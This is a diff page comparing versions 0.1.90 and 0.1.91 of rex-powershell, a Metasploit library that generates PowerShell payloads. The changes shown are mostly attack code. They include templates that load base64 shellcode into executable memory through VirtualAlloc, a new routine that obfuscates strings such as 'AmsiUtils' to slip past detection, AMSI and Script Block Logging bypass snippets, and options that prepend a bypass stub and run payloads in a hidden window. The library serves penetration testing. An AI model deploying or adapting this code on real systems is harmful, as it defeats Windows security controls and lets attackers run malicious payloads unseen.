rex-powershell 0.1.90 → 0.1.91
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/data/templates/to_mem_pshreflection.ps1.template +5 -5
- data/data/templates/to_mem_rc4.ps1.template +1 -1
- data/lib/rex/powershell/command.rb +23 -8
- data/lib/rex/powershell/obfu.rb +87 -0
- data/lib/rex/powershell/output.rb +12 -4
- data/lib/rex/powershell/psh_methods.rb +24 -15
- data/lib/rex/powershell/version.rb +1 -1
- metadata +2 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
|
4
|
+
data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
|
7
|
+
data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_get_proc_address} {
|
2
|
-
Param ($%{var_module}, $%{var_procedure})
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
3
3
|
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
4
|
-
|
4
|
+
|
5
5
|
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
6
6
|
}
|
7
7
|
|
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
|
|
10
10
|
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
11
11
|
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
12
12
|
)
|
13
|
-
|
13
|
+
|
14
14
|
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
15
15
|
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
16
16
|
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
17
|
-
|
17
|
+
|
18
18
|
return $%{var_type_builder}.CreateType()
|
19
19
|
}
|
20
20
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
22
|
-
|
22
|
+
|
23
23
|
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
24
24
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
25
25
|
|
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_rc4_decrypt} {
|
2
2
|
param([Byte[]]$%{var_rc4buffer})
|
3
3
|
|
4
|
-
|
4
|
+
$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
|
5
5
|
|
6
6
|
$s = New-Object Byte[] 256;
|
7
7
|
$k = New-Object Byte[] 256;
|
@@ -268,6 +268,12 @@ EOS
|
|
268
268
|
# @param opts [Hash] The options to generate the command
|
269
269
|
# @option opts [Boolean] :persist Loop the payload to cause
|
270
270
|
# re-execution if the shellcode finishes
|
271
|
+
# @option opts [String] :prepend A stub of Powershell code to prepend to the
|
272
|
+
# payload.
|
273
|
+
# @option opts [String] :prepend_inner A stub of Powershell code to prepend to
|
274
|
+
# the inner payload.
|
275
|
+
# @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
|
276
|
+
# bypasses Powershell protections.
|
271
277
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
272
278
|
# before executing the payload
|
273
279
|
# @option opts [String] :method The powershell injection technique to
|
@@ -306,9 +312,15 @@ EOS
|
|
306
312
|
else
|
307
313
|
fail RuntimeError, 'No Powershell method specified'
|
308
314
|
end
|
315
|
+
|
309
316
|
if opts[:exec_rc4]
|
310
317
|
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
|
311
318
|
end
|
319
|
+
|
320
|
+
if opts[:prepend_inner]
|
321
|
+
psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
|
322
|
+
end
|
323
|
+
|
312
324
|
# Run our payload in a while loop
|
313
325
|
if opts[:persist]
|
314
326
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
@@ -324,12 +336,6 @@ EOS
|
|
324
336
|
end
|
325
337
|
|
326
338
|
compressed_payload = compress_script(psh_payload, nil, opts)
|
327
|
-
|
328
|
-
if opts[:prepend_protections_bypass]
|
329
|
-
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
330
|
-
compressed_payload = bypass_amsi + ";" + compressed_payload
|
331
|
-
end
|
332
|
-
|
333
339
|
encoded_payload = encode_script(psh_payload, opts)
|
334
340
|
|
335
341
|
# This branch is probably never taken...
|
@@ -352,6 +358,15 @@ EOS
|
|
352
358
|
end
|
353
359
|
end
|
354
360
|
|
361
|
+
if opts[:prepend_protections_bypass]
|
362
|
+
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
363
|
+
smallest_payload = bypass_amsi + ";" + smallest_payload
|
364
|
+
end
|
365
|
+
|
366
|
+
if opts[:prepend]
|
367
|
+
smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
|
368
|
+
end
|
369
|
+
|
355
370
|
if opts[:exec_in_place]
|
356
371
|
final_payload = smallest_payload
|
357
372
|
else
|
@@ -362,8 +377,8 @@ EOS
|
|
362
377
|
end
|
363
378
|
|
364
379
|
command_args = {
|
365
|
-
|
366
|
-
|
380
|
+
noprofile: true,
|
381
|
+
windowstyle: 'hidden'
|
367
382
|
}.merge(opts)
|
368
383
|
|
369
384
|
if opts[:encode_final_payload]
|
data/lib/rex/powershell/obfu.rb
CHANGED
@@ -12,6 +12,92 @@ module Powershell
|
|
12
12
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
13
13
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
14
14
|
|
15
|
+
#
|
16
|
+
# Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
|
17
|
+
# characters and some punctuation. This routine will use a combination of of techniques including formatting and
|
18
|
+
# concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
|
19
|
+
#
|
20
|
+
# @param [String] string The string value to obfuscate.
|
21
|
+
# @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
|
22
|
+
# obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
|
23
|
+
# obfuscation.
|
24
|
+
# @return [String] An obfuscated Powershell expression that evaluates to the specified string.
|
25
|
+
def self.scate_string_literal(string, threshold: 0.15)
|
26
|
+
# this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
|
27
|
+
# 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
|
28
|
+
raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
|
29
|
+
raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
|
30
|
+
|
31
|
+
new = original = string
|
32
|
+
occurrences = {}
|
33
|
+
original.each_char { |char|
|
34
|
+
occurrences[char] = 0 unless occurrences.key?(char)
|
35
|
+
occurrences[char] += 1
|
36
|
+
}
|
37
|
+
char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
|
38
|
+
|
39
|
+
# phase 1
|
40
|
+
format = []
|
41
|
+
char_subs = 0.0
|
42
|
+
while (char_subs / original.length.to_f) < threshold
|
43
|
+
orig_char, occurrence_count = char_map.pop
|
44
|
+
new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
|
45
|
+
format << "'#{orig_char}'"
|
46
|
+
char_subs += occurrence_count
|
47
|
+
end
|
48
|
+
|
49
|
+
# phase 2
|
50
|
+
concat = "'+'"
|
51
|
+
positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
|
52
|
+
positions.sort!
|
53
|
+
positions.each_with_index do |position, index|
|
54
|
+
new = new.insert(position + (index * concat.length), concat)
|
55
|
+
end
|
56
|
+
|
57
|
+
new = "'#{new}'"
|
58
|
+
new = "(#{new})" unless threshold == 0
|
59
|
+
|
60
|
+
final = new
|
61
|
+
final << "-f#{format.join(',')}" unless format.empty?
|
62
|
+
final = "(#{final})" unless format.empty? && threshold == 0
|
63
|
+
final
|
64
|
+
end
|
65
|
+
|
66
|
+
#
|
67
|
+
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
68
|
+
#
|
69
|
+
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
70
|
+
# @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
|
71
|
+
# different routine, then an exception is raised.
|
72
|
+
# @return [String] The string literal value.
|
73
|
+
def self.descate_string_literal(string)
|
74
|
+
string = string.strip
|
75
|
+
nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
|
76
|
+
string = string[nest_level...-nest_level].strip if nest_level > 0
|
77
|
+
format_args = nil
|
78
|
+
if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
|
79
|
+
format = Regexp.last_match(0)
|
80
|
+
format_args = string[format.length..-1].strip
|
81
|
+
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
82
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
83
|
+
end
|
84
|
+
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
85
|
+
string = format[1...-1].strip
|
86
|
+
end
|
87
|
+
|
88
|
+
unless string =~ /^'.*'$/
|
89
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
90
|
+
end
|
91
|
+
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
92
|
+
unless format_args.nil? # process all format string operations
|
93
|
+
string = string.gsub(/\{\s*\d+\s*\}/) do |index|
|
94
|
+
format_args[index[1...-1].to_i]
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
string[1...-1]
|
99
|
+
end
|
100
|
+
|
15
101
|
#
|
16
102
|
# Remove comments
|
17
103
|
#
|
@@ -45,6 +131,7 @@ module Powershell
|
|
45
131
|
# @return [String] code with whitespace stripped
|
46
132
|
def strip_whitespace
|
47
133
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
134
|
+
code.strip!
|
48
135
|
|
49
136
|
code
|
50
137
|
end
|
@@ -50,10 +50,11 @@ module Powershell
|
|
50
50
|
# Base64 encode the compressed file contents
|
51
51
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
52
52
|
|
53
|
+
|
53
54
|
# Build the powershell expression
|
54
55
|
# Decode base64 encoded command and create a stream object
|
55
56
|
psh_expression = "$s=New-Object System.IO.MemoryStream(,"
|
56
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
57
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
|
57
58
|
# Read & delete the first two bytes due to incompatibility with MS
|
58
59
|
psh_expression << '$s.ReadByte();'
|
59
60
|
psh_expression << '$s.ReadByte();'
|
@@ -109,7 +110,7 @@ module Powershell
|
|
109
110
|
# GzipStream operates on the Memory Stream
|
110
111
|
psh_expression << '(New-Object System.IO.MemoryStream(,'
|
111
112
|
# MemoryStream consists of base64 encoded compressed data
|
112
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
113
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
|
113
114
|
# Set the GzipStream to decompress its MemoryStream contents
|
114
115
|
psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
|
115
116
|
# Read the decoded, decompressed result into scriptblock contents
|
@@ -139,8 +140,15 @@ module Powershell
|
|
139
140
|
#
|
140
141
|
# @return [String] Decompressed powershell code
|
141
142
|
def decompress_code
|
142
|
-
# Extract substring with
|
143
|
-
|
143
|
+
# Extract substring with payload4
|
144
|
+
if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
|
145
|
+
encoded_stream = Regexp.last_match(1)
|
146
|
+
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
147
|
+
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
148
|
+
else
|
149
|
+
raise RuntimeError, 'Failed to identify the base64 data'
|
150
|
+
end
|
151
|
+
|
144
152
|
# Decode and decompress the string
|
145
153
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
146
154
|
begin
|
@@ -90,10 +90,13 @@ module Powershell
|
|
90
90
|
#
|
91
91
|
# @return [String] PowerShell code to bypass AMSI
|
92
92
|
def self.bypass_amsi()
|
93
|
-
|
94
|
-
$Ref=[Ref].Assembly.GetType('System.Management.Automation.
|
95
|
-
$Ref.GetField('
|
96
|
-
|
93
|
+
script = Script.new(<<-PSH
|
94
|
+
$Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
|
95
|
+
$Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
|
96
|
+
PSH
|
97
|
+
)
|
98
|
+
script.sub_vars
|
99
|
+
script
|
97
100
|
end
|
98
101
|
|
99
102
|
#
|
@@ -101,22 +104,28 @@ module Powershell
|
|
101
104
|
#
|
102
105
|
# @return [String] PowerShell code to bypass Script Block Logging
|
103
106
|
def self.bypass_script_log()
|
104
|
-
|
105
|
-
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','
|
106
|
-
If($GPF){
|
107
|
+
script = Script.new(<<-PSH
|
108
|
+
$GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
|
109
|
+
If ($GPF) {
|
110
|
+
$SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
|
111
|
+
$EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
|
112
|
+
$EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
|
107
113
|
$GPC=$GPF.GetValue($null);
|
108
|
-
If($GPC[
|
109
|
-
$GPC[
|
110
|
-
$GPC[
|
114
|
+
If($GPC[$SBL]){
|
115
|
+
$GPC[$SBL][$EnableSBL]=0;
|
116
|
+
$GPC[$SBL][$EnableSBIL]=0;
|
111
117
|
}
|
112
118
|
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
|
113
|
-
$val.Add(
|
114
|
-
$val.Add(
|
115
|
-
$GPC['HKEY_LOCAL_MACHINE
|
119
|
+
$val.Add($EnableSBL,0);
|
120
|
+
$val.Add($EnableSBIL,0);
|
121
|
+
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
|
116
122
|
} Else {
|
117
|
-
[ScriptBlock].GetField('signatures','
|
123
|
+
[ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
|
118
124
|
}
|
119
|
-
|
125
|
+
PSH
|
126
|
+
)
|
127
|
+
script.sub_vars
|
128
|
+
script
|
120
129
|
end
|
121
130
|
|
122
131
|
#
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.91
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Metasploit Hackers
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date: 2021-
|
96
|
+
date: 2021-07-09 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
99
|
name: rake
|
metadata.gz.sig
CHANGED
Binary file
|